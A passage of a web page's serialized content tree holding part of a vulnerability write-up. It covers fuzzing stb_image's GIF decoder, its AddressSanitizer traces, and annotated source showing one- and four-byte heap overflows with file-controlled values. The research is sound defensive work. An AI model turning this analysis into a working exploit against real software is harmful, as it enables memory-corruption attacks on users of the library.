stbi_image_free",{"type":23,"tag":504,"props":146480,"children":146481},{"style":523},[146482],{"type":28,"value":146483},"(ret);\n",{"type":23,"tag":504,"props":146485,"children":146486},{"class":506,"line":1334},[146487],{"type":23,"tag":504,"props":146488,"children":146489},{"emptyLinePlaceholder":16},[146490],{"type":28,"value":1038},{"type":23,"tag":504,"props":146492,"children":146493},{"class":506,"line":1370},[146494,146498,146502],{"type":23,"tag":504,"props":146495,"children":146496},{"style":544},[146497],{"type":28,"value":15968},{"type":23,"tag":504,"props":146499,"children":146500},{"style":1440},[146501],{"type":28,"value":2023},{"type":23,"tag":504,"props":146503,"children":146504},{"style":523},[146505],{"type":28,"value":866},{"type":23,"tag":504,"props":146507,"children":146508},{"class":506,"line":1384},[146509],{"type":23,"tag":504,"props":146510,"children":146511},{"style":523},[146512],{"type":28,"value":884},{"type":23,"tag":24,"props":146514,"children":146515},{},[146516],{"type":28,"value":146517},"And soon after starting the fuzzer it found an interesting bug:",{"type":23,"tag":494,"props":146519,"children":146521},{"code":146520},"=================================================================\n==1087247==ERROR: AddressSanitizer: heap-buffer-overflow on address ...\nWRITE of size 1 at 0x52d000008800 thread T0\n    #0 0x655424309a49 in stbi__out_gif_code stb/stb_image.h:6233\n    #1 0x655424309888 in stbi__out_gif_code stb/stb_image.h:6227\n    #2 0x655424309888 in stbi__out_gif_code stb/stb_image.h:6227\n    [...]\n    #19 0x65542430a697 in stbi__process_gif_raster stb/stb_image.h:6326\n    #20 0x65542430b936 in stbi__gif_load_next stb/stb_image.h:6443\n    #21 0x65542430c90e in stbi__gif_load stb/stb_image.h:6573\n    #22 0x6554242fc0d4 in stbi__load_main stb/stb_image.h:989\n    #23 0x6554242fc927 in stbi__load_and_postprocess_8bit stb/stb_image.h:1088\n    #24 0x6554242fd34f in stbi_load_from_file stb/stb_image.h:1174\n    #25 0x6554242fd22c in stbi_load stb/stb_image.h:1164\n    [...]\n",[146522],{"type":23,"tag":56,"props":146523,"children":146524},{"__ignoreMap":7},[146525],{"type":28,"value":146520},{"type":23,"tag":17874,"props":146527,"children":146529},{"id":146528},"investigating-the-finding",[146530],{"type":28,"value":146531},"Investigating the Finding",{"type":23,"tag":24,"props":146533,"children":146534},{},[146535,146537,146543,146544,146549],{"type":28,"value":146536},"The ASAN output shows that at line ",{"type":23,"tag":56,"props":146538,"children":146540},{"className":146539},[],[146541],{"type":28,"value":146542},"6233",{"type":28,"value":142043},{"type":23,"tag":56,"props":146545,"children":146547},{"className":146546},[],[146548],{"type":28,"value":146076},{"type":28,"value":146550}," an attempt was made to write a single byte out-of-bounds. Looking at the nearby source:",{"type":23,"tag":494,"props":146552,"children":146554},{"code":146553,"language":2124,"meta":7,"className":15493,"style":7},"static void stbi__out_gif_code(stbi__gif *g, stbi__uint16 code)\n{\n   stbi_uc *p, *c;\n   int idx; \n\n   [...]\n\n   if (g->cur_y >= g->max_y) return;\n\n   idx = g->cur_x + g->cur_y; \n   p = &g->out[idx];\n   g->history[idx / 4] = 1;          // OOB write\n",[146555],{"type":23,"tag":56,"props":146556,"children":146557},{"__ignoreMap":7},[146558,146600,146607,146633,146646,146653,146661,146668,146722,146729,146775,146808],{"type":23,"tag":504,"props":146559,"children":146560},{"class":506,"line":507},[146561,146565,146569,146574,146579,146583,146587,146592,146596],{"type":23,"tag":504,"props":146562,"children":146563},{"style":511},[146564],{"type":28,"value":50023},{"type":23,"tag":504,"props":146566,"children":146567},{"style":511},[146568],{"type":28,"value":50028},{"type":23,"tag":504,"props":146570,"children":146571},{"style":517},[146572],{"type":28,"value":146573}," stbi__out_gif_code",{"type":23,"tag":504,"props":146575,"children":146576},{"style":523},[146577],{"type":28,"value":146578},"(stbi__gif ",{"type":23,"tag":504,"props":146580,"children":146581},{"style":598},[146582],{"type":28,"value":3552},{"type":23,"tag":504,"props":146584,"children":146585},{"style":529},[146586],{"type":28,"value":108049},{"type":23,"tag":504,"props":146588,"children":146589},{"style":523},[146590],{"type":28,"value":146591},", stbi__uint16 ",{"type":23,"tag":504,"props":146593,"children":146594},{"style":529},[146595],{"type":28,"value":56},{"type":23,"tag":504,"props":146597,"children":146598},{"style":523},[146599],{"type":28,"value":1192},{"type":23,"tag":504,"props":146601,"children":146602},{"class":506,"line":540},[146603],{"type":23,"tag":504,"props":146604,"children":146605},{"style":523},[146606],{"type":28,"value":9862},{"type":23,"tag":504,"props":146608,"children":146609},{"class":506,"line":555},[146610,146615,146619,146624,146628],{"type":23,"tag":504,"props":146611,"children":146612},{"style":523},[146613],{"type":28,"value":146614},"   stbi_uc ",{"type":23,"tag":504,"props":146616,"children":146617},{"style":598},[146618],{"type":28,"value":3552},{"type":23,"tag":504,"props":146620,"children":146621},{"style":523},[146622],{"type":28,"value":146623},"p, ",{"type":23,"tag":504,"props":146625,"children":146626},{"style":598},[146627],{"type":28,"value":3552},{"type":23,"tag":504,"props":146629,"children":146630},{"style":523},[146631],{"type":28,"value":146632},"c;\n",{"type":23,"tag":504,"props":146634,"children":146635},{"class":506,"line":633},[146636,146641],{"type":23,"tag":504,"props":146637,"children":146638},{"style":511},[146639],{"type":28,"value":146640},"   int",{"type":23,"tag":504,"props":146642,"children":146643},{"style":523},[146644],{"type":28,"value":146645}," idx; \n",{"type":23,"tag":504,"props":146647,"children":146648},{"class":506,"line":687},[146649],{"type":23,"tag":504,"props":146650,"children":146651},{"emptyLinePlaceholder":16},[146652],{"type":28,"value":1038},{"type":23,"tag":504,"props":146654,"children":146655},{"class":506,"line":736},[146656],{"type":23,"tag":504,"props":146657,"children":146658},{"style":523},[146659],{"type":28,"value":146660},"   [...]\n",{"type":23,"tag":504,"props":146662,"children":146663},{"class":506,"line":785},[146664],{"type":23,"tag":504,"props":146665,"children":146666},{"emptyLinePlaceholder":16},[146667],{"type":28,"value":1038},{"type":23,"tag":504,"props":146669,"children":146670},{"class":506,"line":813},[146671,146675,146679,146683,146687,146692,146696,146701,146705,146710,146714,146718],{"type":23,"tag":504,"props":146672,"children":146673},{"style":544},[146674],{"type":28,"value":51622},{"type":23,"tag":504,"props":146676,"children":146677},{"style":523},[146678],{"type":28,"value":801},{"type":23,"tag":504,"props":146680,"children":146681},{"style":529},[146682],{"type":28,"value":108049},{"type":23,"tag":504,"props":146684,"children":146685},{"style":523},[146686],{"type":28,"value":12738},{"type":23,"tag":504,"props":146688,"children":146689},{"style":529},[146690],{"type":28,"value":146691},"cur_y",{"type":23,"tag":504,"props":146693,"children":146694},{"style":598},[146695],{"type":28,"value":7285},{"type":23,"tag":504,"props":146697,"children":146698},{"style":529},[146699],{"type":28,"value":146700}," g",{"type":23,"tag":504,"props":146702,"children":146703},{"style":523},[146704],{"type":28,"value":12738},{"type":23,"tag":504,"props":146706,"children":146707},{"style":529},[146708],{"type":28,"value":146709},"max_y",{"type":23,"tag":504,"props":146711,"children":146712},{"style":523},[146713],{"type":28,"value":2064},{"type":23,"tag":504,"props":146715,"children":146716},{"style":544},[146717],{"type":28,"value":47436},{"type":23,"tag":504,"props":146719,"children":146720},{"style":523},[146721],{"type":28,"value":866},{"type":23,"tag":504,"props":146723,"children":146724},{"class":506,"line":851},[146725],{"type":23,"tag":504,"props":146726,"children":146727},{"emptyLinePlaceholder":16},[146728],{"type":28,"value":1038},{"type":23,"tag":504,"props":146730,"children":146731},{"class":506,"line":869},[146732,146737,146741,146745,146749,146754,146758,146762,146766,146770],{"type":23,"tag":504,"props":146733,"children":146734},{"style":523},[146735],{"type":28,"value":146736},"   idx ",{"type":23,"tag":504,"props":146738,"children":146739},{"style":598},[146740],{"type":28,"value":601},{"type":23,"tag":504,"props":146742,"children":146743},{"style":529},[146744],{"type":28,"value":146700},{"type":23,"tag":504,"props":146746,"children":146747},{"style":523},[146748],{"type":28,"value":12738},{"type":23,"tag":504,"props":146750,"children":146751},{"style":529},[146752],{"type":28,"value":146753},"cur_x",{"type":23,"tag":504,"props":146755,"children":146756},{"style":598},[146757],{"type":28,"value":7888},{"type":23,"tag":504,"props":146759,"children":146760},{"style":529},[146761],{"type":28,"value":146700},{"type":23,"tag":504,"props":146763,"children":146764},{"style":523},[146765],{"type":28,"value":12738},{"type":23,"tag":504,"props":146767,"children":146768},{"style":529},[146769],{"type":28,"value":146691},{"type":23,"tag":504,"props":146771,"children":146772},{"style":523},[146773],{"type":28,"value":146774},"; \n",{"type":23,"tag":504,"props":146776,"children":146777},{"class":506,"line":878},[146778,146783,146787,146791,146795,146799,146803],{"type":23,"tag":504,"props":146779,"children":146780},{"style":523},[146781],{"type":28,"value":146782},"   p ",{"type":23,"tag":504,"props":146784,"children":146785},{"style":598},[146786],{"type":28,"value":601},{"type":23,"tag":504,"props":146788,"children":146789},{"style":598},[146790],{"type":28,"value":6125},{"type":23,"tag":504,"props":146792,"children":146793},{"style":529},[146794],{"type":28,"value":108049},{"type":23,"tag":504,"props":146796,"children":146797},{"style":523},[146798],{"type":28,"value":12738},{"type":23,"tag":504,"props":146800,"children":146801},{"style":529},[146802],{"type":28,"value":117472},{"type":23,"tag":504,"props":146804,"children":146805},{"style":523},[146806],{"type":28,"value":146807},"[idx];\n",{"type":23,"tag":504,"props":146809,"children":146810},{"class":506,"line":1221},[146811,146816,146820,146825,146830,146834,146838,146842,146846,146850,146854],{"type":23,"tag":504,"props":146812,"children":146813},{"style":529},[146814],{"type":28,"value":146815},"   g",{"type":23,"tag":504,"props":146817,"children":146818},{"style":523},[146819],{"type":28,"value":12738},{"type":23,"tag":504,"props":146821,"children":146822},{"style":529},[146823],{"type":28,"value":146824},"history",{"type":23,"tag":504,"props":146826,"children":146827},{"style":523},[146828],{"type":28,"value":146829},"[idx ",{"type":23,"tag":504,"props":146831,"children":146832},{"style":598},[146833],{"type":28,"value":3562},{"type":23,"tag":504,"props":146835,"children":146836},{"style":1440},[146837],{"type":28,"value":10727},{"type":23,"tag":504,"props":146839,"children":146840},{"style":523},[146841],{"type":28,"value":595},{"type":23,"tag":504,"props":146843,"children":146844},{"style":598},[146845],{"type":28,"value":601},{"type":23,"tag":504,"props":146847,"children":146848},{"style":1440},[146849],{"type":28,"value":3504},{"type":23,"tag":504,"props":146851,"children":146852},{"style":523},[146853],{"type":28,"value":48053},{"type":23,"tag":504,"props":146855,"children":146856},{"style":1106},[146857],{"type":28,"value":146858},"          // OOB write\n",{"type":23,"tag":24,"props":146860,"children":146861},{},[146862,146864,146869,146871,146877,146879,146885],{"type":28,"value":146863},"It’s reasonable to assume ",{"type":23,"tag":56,"props":146865,"children":146867},{"className":146866},[],[146868],{"type":28,"value":75268},{"type":28,"value":146870}," is outside the bounds of ",{"type":23,"tag":56,"props":146872,"children":146874},{"className":146873},[],[146875],{"type":28,"value":146876},"g->history",{"type":28,"value":146878},", which leads to a one-byte OOB write (",{"type":23,"tag":56,"props":146880,"children":146882},{"className":146881},[],[146883],{"type":28,"value":146884},"g->history[idx / 4] = 1",{"type":28,"value":146886},"). That single-byte OOB is hard to exploit remotely, but it was the only corruption observed initially, so we investigated further.",{"type":23,"tag":24,"props":146888,"children":146889},{},[146890,146892,146897,146899,146905,146907,146912,146914,146920,146922,146928],{"type":28,"value":146891},"Because ",{"type":23,"tag":56,"props":146893,"children":146895},{"className":146894},[],[146896],{"type":28,"value":24},{"type":28,"value":146898}," is computed from ",{"type":23,"tag":56,"props":146900,"children":146902},{"className":146901},[],[146903],{"type":28,"value":146904},"g->out[idx]",{"type":28,"value":146906}," immediately before the violation, we considered whether ",{"type":23,"tag":56,"props":146908,"children":146910},{"className":146909},[],[146911],{"type":28,"value":75268},{"type":28,"value":146913}," could also be OOB for ",{"type":23,"tag":56,"props":146915,"children":146917},{"className":146916},[],[146918],{"type":28,"value":146919},"g->out",{"type":28,"value":146921},". Note that computing the address ",{"type":23,"tag":56,"props":146923,"children":146925},{"className":146924},[],[146926],{"type":28,"value":146927},"&g->out[idx]",{"type":28,"value":146929}," does not itself access the memory, so ASAN wouldn’t flag it.",{"type":23,"tag":24,"props":146931,"children":146932},{},[146933,146935,146940],{"type":28,"value":146934},"If we comment out ",{"type":23,"tag":56,"props":146936,"children":146938},{"className":146937},[],[146939],{"type":28,"value":146884},{"type":28,"value":146941}," and re-run the fuzzing input, ASAN reports another violation in the same function at a different line:",{"type":23,"tag":494,"props":146943,"children":146945},{"code":146944},"=================================================================\n==8578==ERROR: AddressSanitizer: heap-buffer-overflow on address ...\nWRITE of size 1 at 0x7f0fe6e6c800 thread T0\n    #0 0x5d54e32a4315 in stbi__out_gif_code stb/stb_image.h:6237\n    [...]\n",[146946],{"type":23,"tag":56,"props":146947,"children":146948},{"__ignoreMap":7},[146949],{"type":28,"value":146944},{"type":23,"tag":24,"props":146951,"children":146952},{},[146953],{"type":28,"value":146954},"This corresponds to:",{"type":23,"tag":494,"props":146956,"children":146958},{"code":146957,"language":2124,"meta":7,"className":15493,"style":7},"static void stbi__out_gif_code(stbi__gif *g, stbi__uint16 code)\n{\n   [...]\n\n   idx = g->cur_x + g->cur_y; \n   p = &g->out[idx];\n   g->history[idx / 4] = 1;  \n\n   c = &g->color_table[g->codes[code].suffix * 4];\n   if (c[3] > 128) {\n      p[0] = c[2];        // OOB write\n      p[1] = c[1];\n      p[2] = c[0];\n      p[3] = c[3];\n   }\n",[146959],{"type":23,"tag":56,"props":146960,"children":146961},{"__ignoreMap":7},[146962,147001,147008,147015,147022,147065,147096,147140,147147,147215,147255,147300,147339,147378,147417],{"type":23,"tag":504,"props":146963,"children":146964},{"class":506,"line":507},[146965,146969,146973,146977,146981,146985,146989,146993,146997],{"type":23,"tag":504,"props":146966,"children":146967},{"style":511},[146968],{"type":28,"value":50023},{"type":23,"tag":504,"props":146970,"children":146971},{"style":511},[146972],{"type":28,"value":50028},{"type":23,"tag":504,"props":146974,"children":146975},{"style":517},[146976],{"type":28,"value":146573},{"type":23,"tag":504,"props":146978,"children":146979},{"style":523},[146980],{"type":28,"value":146578},{"type":23,"tag":504,"props":146982,"children":146983},{"style":598},[146984],{"type":28,"value":3552},{"type":23,"tag":504,"props":146986,"children":146987},{"style":529},[146988],{"type":28,"value":108049},{"type":23,"tag":504,"props":146990,"children":146991},{"style":523},[146992],{"type":28,"value":146591},{"type":23,"tag":504,"props":146994,"children":146995},{"style":529},[146996],{"type":28,"value":56},{"type":23,"tag":504,"props":146998,"children":146999},{"style":523},[147000],{"type":28,"value":1192},{"type":23,"tag":504,"props":147002,"children":147003},{"class":506,"line":540},[147004],{"type":23,"tag":504,"props":147005,"children":147006},{"style":523},[147007],{"type":28,"value":9862},{"type":23,"tag":504,"props":147009,"children":147010},{"class":506,"line":555},[147011],{"type":23,"tag":504,"props":147012,"children":147013},{"style":523},[147014],{"type":28,"value":146660},{"type":23,"tag":504,"props":147016,"children":147017},{"class":506,"line":633},[147018],{"type":23,"tag":504,"props":147019,"children":147020},{"emptyLinePlaceholder":16},[147021],{"type":28,"value":1038},{"type":23,"tag":504,"props":147023,"children":147024},{"class":506,"line":687},[147025,147029,147033,147037,147041,147045,147049,147053,147057,147061],{"type":23,"tag":504,"props":147026,"children":147027},{"style":523},[147028],{"type":28,"value":146736},{"type":23,"tag":504,"props":147030,"children":147031},{"style":598},[147032],{"type":28,"value":601},{"type":23,"tag":504,"props":147034,"children":147035},{"style":529},[147036],{"type":28,"value":146700},{"type":23,"tag":504,"props":147038,"children":147039},{"style":523},[147040],{"type":28,"value":12738},{"type":23,"tag":504,"props":147042,"children":147043},{"style":529},[147044],{"type":28,"value":146753},{"type":23,"tag":504,"props":147046,"children":147047},{"style":598},[147048],{"type":28,"value":7888},{"type":23,"tag":504,"props":147050,"children":147051},{"style":529},[147052],{"type":28,"value":146700},{"type":23,"tag":504,"props":147054,"children":147055},{"style":523},[147056],{"type":28,"value":12738},{"type":23,"tag":504,"props":147058,"children":147059},{"style":529},[147060],{"type":28,"value":146691},{"type":23,"tag":504,"props":147062,"children":147063},{"style":523},[147064],{"type":28,"value":146774},{"type":23,"tag":504,"props":147066,"children":147067},{"class":506,"line":736},[147068,147072,147076,147080,147084,147088,147092],{"type":23,"tag":504,"props":147069,"children":147070},{"style":523},[147071],{"type":28,"value":146782},{"type":23,"tag":504,"props":147073,"children":147074},{"style":598},[147075],{"type":28,"value":601},{"type":23,"tag":504,"props":147077,"children":147078},{"style":598},[147079],{"type":28,"value":6125},{"type":23,"tag":504,"props":147081,"children":147082},{"style":529},[147083],{"type":28,"value":108049},{"type":23,"tag":504,"props":147085,"children":147086},{"style":523},[147087],{"type":28,"value":12738},{"type":23,"tag":504,"props":147089,"children":147090},{"style":529},[147091],{"type":28,"value":117472},{"type":23,"tag":504,"props":147093,"children":147094},{"style":523},[147095],{"type":28,"value":146807},{"type":23,"tag":504,"props":147097,"children":147098},{"class":506,"line":785},[147099,147103,147107,147111,147115,147119,147123,147127,147131,147135],{"type":23,"tag":504,"props":147100,"children":147101},{"style":529},[147102],{"type":28,"value":146815},{"type":23,"tag":504,"props":147104,"children":147105},{"style":523},[147106],{"type":28,"value":12738},{"type":23,"tag":504,"props":147108,"children":147109},{"style":529},[147110],{"type":28,"value":146824},{"type":23,"tag":504,"props":147112,"children":147113},{"style":523},[147114],{"type":28,"value":146829},{"type":23,"tag":504,"props":147116,"children":147117},{"style":598},[147118],{"type":28,"value":3562},{"type":23,"tag":504,"props":147120,"children":147121},{"style":1440},[147122],{"type":28,"value":10727},{"type":23,"tag":504,"props":147124,"children":147125},{"style":523},[147126],{"type":28,"value":595},{"type":23,"tag":504,"props":147128,"children":147129},{"style":598},[147130],{"type":28,"value":601},{"type":23,"tag":504,"props":147132,"children":147133},{"style":1440},[147134],{"type":28,"value":3504},{"type":23,"tag":504,"props":147136,"children":147137},{"style":523},[147138],{"type":28,"value":147139},";  \n",{"type":23,"tag":504,"props":147141,"children":147142},{"class":506,"line":813},[147143],{"type":23,"tag":504,"props":147144,"children":147145},{"emptyLinePlaceholder":16},[147146],{"type":28,"value":1038},{"type":23,"tag":504,"props":147148,"children":147149},{"class":506,"line":851},[147150,147155,147159,147163,147167,147171,147176,147180,147184,147188,147193,147198,147203,147207,147211],{"type":23,"tag":504,"props":147151,"children":147152},{"style":523},[147153],{"type":28,"value":147154},"   c ",{"type":23,"tag":504,"props":147156,"children":147157},{"style":598},[147158],{"type":28,"value":601},{"type":23,"tag":504,"props":147160,"children":147161},{"style":598},[147162],{"type":28,"value":6125},{"type":23,"tag":504,"props":147164,"children":147165},{"style":529},[147166],{"type":28,"value":108049},{"type":23,"tag":504,"props":147168,"children":147169},{"style":523},[147170],{"type":28,"value":12738},{"type":23,"tag":504,"props":147172,"children":147173},{"style":529},[147174],{"type":28,"value":147175},"color_table",{"type":23,"tag":504,"props":147177,"children":147178},{"style":523},[147179],{"type":28,"value":2711},{"type":23,"tag":504,"props":147181,"children":147182},{"style":529},[147183],{"type":28,"value":108049},{"type":23,"tag":504,"props":147185,"children":147186},{"style":523},[147187],{"type":28,"value":12738},{"type":23,"tag":504,"props":147189,"children":147190},{"style":529},[147191],{"type":28,"value":147192},"codes",{"type":23,"tag":504,"props":147194,"children":147195},{"style":523},[147196],{"type":28,"value":147197},"[code].",{"type":23,"tag":504,"props":147199,"children":147200},{"style":529},[147201],{"type":28,"value":147202},"suffix",{"type":23,"tag":504,"props":147204,"children":147205},{"style":598},[147206],{"type":28,"value":8797},{"type":23,"tag":504,"props":147208,"children":147209},{"style":1440},[147210],{"type":28,"value":10727},{"type":23,"tag":504,"props":147212,"children":147213},{"style":523},[147214],{"type":28,"value":30552},{"type":23,"tag":504,"props":147216,"children":147217},{"class":506,"line":869},[147218,147222,147226,147230,147234,147238,147242,147246,147251],{"type":23,"tag":504,"props":147219,"children":147220},{"style":544},[147221],{"type":28,"value":51622},{"type":23,"tag":504,"props":147223,"children":147224},{"style":523},[147225],{"type":28,"value":801},{"type":23,"tag":504,"props":147227,"children":147228},{"style":529},[147229],{"type":28,"value":2124},{"type":23,"tag":504,"props":147231,"children":147232},{"style":523},[147233],{"type":28,"value":2711},{"type":23,"tag":504,"props":147235,"children":147236},{"style":1440},[147237],{"type":28,"value":16275},{"type":23,"tag":504,"props":147239,"children":147240},{"style":523},[147241],{"type":28,"value":595},{"type":23,"tag":504,"props":147243,"children":147244},{"style":598},[147245],{"type":28,"value":9443},{"type":23,"tag":504,"props":147247,"children":147248},{"style":1440},[147249],{"type":28,"value":147250}," 128",{"type":23,"tag":504,"props":147252,"children":147253},{"style":523},[147254],{"type":28,"value":537},{"type":23,"tag":504,"props":147256,"children":147257},{"class":506,"line":878},[147258,147263,147267,147271,147275,147279,147283,147287,147291,147295],{"type":23,"tag":504,"props":147259,"children":147260},{"style":529},[147261],{"type":28,"value":147262},"      p",{"type":23,"tag":504,"props":147264,"children":147265},{"style":523},[147266],{"type":28,"value":2711},{"type":23,"tag":504,"props":147268,"children":147269},{"style":1440},[147270],{"type":28,"value":3001},{"type":23,"tag":504,"props":147272,"children":147273},{"style":523},[147274],{"type":28,"value":595},{"type":23,"tag":504,"props":147276,"children":147277},{"style":598},[147278],{"type":28,"value":601},{"type":23,"tag":504,"props":147280,"children":147281},{"style":529},[147282],{"type":28,"value":36422},{"type":23,"tag":504,"props":147284,"children":147285},{"style":523},[147286],{"type":28,"value":2711},{"type":23,"tag":504,"props":147288,"children":147289},{"style":1440},[147290],{"type":28,"value":2100},{"type":23,"tag":504,"props":147292,"children":147293},{"style":523},[147294],{"type":28,"value":54890},{"type":23,"tag":504,"props":147296,"children":147297},{"style":1106},[147298],{"type":28,"value":147299},"        // OOB write\n",{"type":23,"tag":504,"props":147301,"children":147302},{"class":506,"line":1221},[147303,147307,147311,147315,147319,147323,147327,147331,147335],{"type":23,"tag":504,"props":147304,"children":147305},{"style":529},[147306],{"type":28,"value":147262},{"type":23,"tag":504,"props":147308,"children":147309},{"style":523},[147310],{"type":28,"value":2711},{"type":23,"tag":504,"props":147312,"children":147313},{"style":1440},[147314],{"type":28,"value":2991},{"type":23,"tag":504,"props":147316,"children":147317},{"style":523},[147318],{"type":28,"value":595},{"type":23,"tag":504,"props":147320,"children":147321},{"style":598},[147322],{"type":28,"value":601},{"type":23,"tag":504,"props":147324,"children":147325},{"style":529},[147326],{"type":28,"value":36422},{"type":23,"tag":504,"props":147328,"children":147329},{"style":523},[147330],{"type":28,"value":2711},{"type":23,"tag":504,"props":147332,"children":147333},{"style":1440},[147334],{"type":28,"value":2991},{"type":23,"tag":504,"props":147336,"children":147337},{"style":523},[147338],{"type":28,"value":30552},{"type":23,"tag":504,"props":147340,"children":147341},{"class":506,"line":1276},[147342,147346,147350,147354,147358,147362,147366,147370,147374],{"type":23,"tag":504,"props":147343,"children":147344},{"style":529},[147345],{"type":28,"value":147262},{"type":23,"tag":504,"props":147347,"children":147348},{"style":523},[147349],{"type":28,"value":2711},{"type":23,"tag":504,"props":147351,"children":147352},{"style":1440},[147353],{"type":28,"value":2100},{"type":23,"tag":504,"props":147355,"children":147356},{"style":523},[147357],{"type":28,"value":595},{"type":23,"tag":504,"props":147359,"children":147360},{"style":598},[147361],{"type":28,"value":601},{"type":23,"tag":504,"props":147363,"children":147364},{"style":529},[147365],{"type":28,"value":36422},{"type":23,"tag":504,"props":147367,"children":147368},{"style":523},[147369],{"type":28,"value":2711},{"type":23,"tag":504,"props":147371,"children":147372},{"style":1440},[147373],{"type":28,"value":3001},{"type":23,"tag":504,"props":147375,"children":147376},{"style":523},[147377],{"type":28,"value":30552},{"type":23,"tag":504,"props":147379,"children":147380},{"class":506,"line":1285},[147381,147385,147389,147393,147397,147401,147405,147409,147413],{"type":23,"tag":504,"props":147382,"children":147383},{"style":529},[147384],{"type":28,"value":147262},{"type":23,"tag":504,"props":147386,"children":147387},{"style":523},[147388],{"type":28,"value":2711},{"type":23,"tag":504,"props":147390,"children":147391},{"style":1440},[147392],{"type":28,"value":16275},{"type":23,"tag":504,"props":147394,"children":147395},{"style":523},[147396],{"type":28,"value":595},{"type":23,"tag":504,"props":147398,"children":147399},{"style":598},[147400],{"type":28,"value":601},{"type":23,"tag":504,"props":147402,"children":147403},{"style":529},[147404],{"type":28,"value":36422},{"type":23,"tag":504,"props":147406,"children":147407},{"style":523},[147408],{"type":28,"value":2711},{"type":23,"tag":504,"props":147410,"children":147411},{"style":1440},[147412],{"type":28,"value":16275},{"type":23,"tag":504,"props":147414,"children":147415},{"style":523},[147416],{"type":28,"value":30552},{"type":23,"tag":504,"props":147418,"children":147419},{"class":506,"line":1294},[147420],{"type":23,"tag":504,"props":147421,"children":147422},{"style":523},[147423],{"type":28,"value":33724},{"type":23,"tag":24,"props":147425,"children":147426},{},[147427,147429,147434,147436,147441],{"type":28,"value":147428},"This confirms ",{"type":23,"tag":56,"props":147430,"children":147432},{"className":147431},[],[147433],{"type":28,"value":75268},{"type":28,"value":147435}," is OOB for ",{"type":23,"tag":56,"props":147437,"children":147439},{"className":147438},[],[147440],{"type":28,"value":146919},{"type":28,"value":147442}," as well - here it results in a four-byte OOB write. A four-byte OOB write is still not trivial to exploit remotely, but it is meaningfully more dangerous than a single-byte OOB.",{"type":23,"tag":24,"props":147444,"children":147445},{},[147446,147448,147454,147456,147463],{"type":28,"value":147447},"We've read through the GIF parsing code to find out if the written values can be controlled, and found that ",{"type":23,"tag":56,"props":147449,"children":147451},{"className":147450},[],[147452],{"type":28,"value":147453},"g->color_table",{"type":28,"value":147455}," is populated by ",{"type":23,"tag":92,"props":147457,"children":147460},{"href":147458,"rel":147459},"https://github.com/nothings/stb/blob/f1f077b2722f55e158cba020f0312ee2d13c463a/stb_image.h#L6166-L6175",[96],[147461],{"type":28,"value":147462},"stbi__gif_parse_colortable",{"type":28,"value":3472},{"type":23,"tag":494,"props":147465,"children":147467},{"code":147466,"language":2124,"meta":7,"className":15493,"style":7},"static void stbi__gif_parse_colortable(\n    stbi__context *s,\n    stbi_uc pal[256][4],    // g->color_table\n    int num_entries,\n    int transp\n) {\n   int i;\n   for (i=0; i \u003C num_entries; ++i) {\n      pal[i][2] = stbi__get8(s);\n      pal[i][1] = stbi__get8(s);\n      pal[i][0] = stbi__get8(s);\n      pal[i][3] = transp == i ? 0 : 255;\n   }\n}\n",[147468],{"type":23,"tag":56,"props":147469,"children":147470},{"__ignoreMap":7},[147471,147491,147511,147550,147566,147578,147585,147596,147639,147673,147704,147735,147792,147799],{"type":23,"tag":504,"props":147472,"children":147473},{"class":506,"line":507},[147474,147478,147482,147487],{"type":23,"tag":504,"props":147475,"children":147476},{"style":511},[147477],{"type":28,"value":50023},{"type":23,"tag":504,"props":147479,"children":147480},{"style":511},[147481],{"type":28,"value":50028},{"type":23,"tag":504,"props":147483,"children":147484},{"style":517},[147485],{"type":28,"value":147486}," stbi__gif_parse_colortable",{"type":23,"tag":504,"props":147488,"children":147489},{"style":523},[147490],{"type":28,"value":2439},{"type":23,"tag":504,"props":147492,"children":147493},{"class":506,"line":540},[147494,147499,147503,147507],{"type":23,"tag":504,"props":147495,"children":147496},{"style":523},[147497],{"type":28,"value":147498},"    stbi__context ",{"type":23,"tag":504,"props":147500,"children":147501},{"style":598},[147502],{"type":28,"value":3552},{"type":23,"tag":504,"props":147504,"children":147505},{"style":529},[147506],{"type":28,"value":9633},{"type":23,"tag":504,"props":147508,"children":147509},{"style":523},[147510],{"type":28,"value":2484},{"type":23,"tag":504,"props":147512,"children":147513},{"class":506,"line":555},[147514,147519,147524,147528,147532,147536,147540,147545],{"type":23,"tag":504,"props":147515,"children":147516},{"style":523},[147517],{"type":28,"value":147518},"    stbi_uc ",{"type":23,"tag":504,"props":147520,"children":147521},{"style":529},[147522],{"type":28,"value":147523},"pal",{"type":23,"tag":504,"props":147525,"children":147526},{"style":523},[147527],{"type":28,"value":2711},{"type":23,"tag":504,"props":147529,"children":147530},{"style":1440},[147531],{"type":28,"value":92046},{"type":23,"tag":504,"props":147533,"children":147534},{"style":523},[147535],{"type":28,"value":47937},{"type":23,"tag":504,"props":147537,"children":147538},{"style":1440},[147539],{"type":28,"value":16508},{"type":23,"tag":504,"props":147541,"children":147542},{"style":523},[147543],{"type":28,"value":147544},"],",{"type":23,"tag":504,"props":147546,"children":147547},{"style":1106},[147548],{"type":28,"value":147549},"    // g->color_table\n",{"type":23,"tag":504,"props":147551,"children":147552},{"class":506,"line":633},[147553,147557,147562],{"type":23,"tag":504,"props":147554,"children":147555},{"style":511},[147556],{"type":28,"value":18058},{"type":23,"tag":504,"props":147558,"children":147559},{"style":529},[147560],{"type":28,"value":147561}," num_entries",{"type":23,"tag":504,"props":147563,"children":147564},{"style":523},[147565],{"type":28,"value":2484},{"type":23,"tag":504,"props":147567,"children":147568},{"class":506,"line":687},[147569,147573],{"type":23,"tag":504,"props":147570,"children":147571},{"style":511},[147572],{"type":28,"value":18058},{"type":23,"tag":504,"props":147574,"children":147575},{"style":523},[147576],{"type":28,"value":147577}," transp\n",{"type":23,"tag":504,"props":147579,"children":147580},{"class":506,"line":736},[147581],{"type":23,"tag":504,"props":147582,"children":147583},{"style":523},[147584],{"type":28,"value":537},{"type":23,"tag":504,"props":147586,"children":147587},{"class":506,"line":785},[147588,147592],{"type":23,"tag":504,"props":147589,"children":147590},{"style":511},[147591],{"type":28,"value":146640},{"type":23,"tag":504,"props":147593,"children":147594},{"style":523},[147595],{"type":28,"value":56943},{"type":23,"tag":504,"props":147597,"children":147598},{"class":506,"line":813},[147599,147604,147609,147613,147617,147621,147625,147630,147634],{"type":23,"tag":504,"props":147600,"children":147601},{"style":544},[147602],{"type":28,"value":147603},"   for",{"type":23,"tag":504,"props":147605,"children":147606},{"style":523},[147607],{"type":28,"value":147608}," 